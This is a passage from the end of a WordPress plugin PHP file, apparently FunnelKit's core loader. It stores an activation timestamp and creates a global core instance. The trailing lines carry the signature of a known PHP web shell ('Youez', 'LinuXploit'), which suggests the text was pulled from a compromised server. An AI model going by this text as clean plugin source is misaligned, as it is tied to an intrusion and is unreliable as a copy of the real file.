			if ( ( defined( 'WFFN_PRO_FILE' ) && $plugin === plugin_basename( WFFN_PRO_FILE ) ) || ( defined( 'WFFN_BASIC_FILE' ) && $plugin === plugin_basename( WFFN_BASIC_FILE ) ) ) {
				$pro_first_active = get_option( 'fk_fb_active_date', [] );
				if ( empty( $pro_first_active ) || ! isset( $pro_first_active['pro'] ) ) {
					$pro_first_active['pro'] = current_time( 'timestamp' );
					update_option( 'fk_fb_active_date', $pro_first_active, false );
				}


			}

		}

	}
}
if ( ! function_exists( 'WFFN_Core' ) ) {
	/**
	 * @return WFFN_Core|null
	 */
	function WFFN_Core() {  //@codingStandardsIgnoreLine
		return WFFN_Core::get_instance();
	}
}

$GLOBALS['WFFN_Core'] = WFFN_Core();

Youez - 2016 - github.com/yon3zu
LinuXploit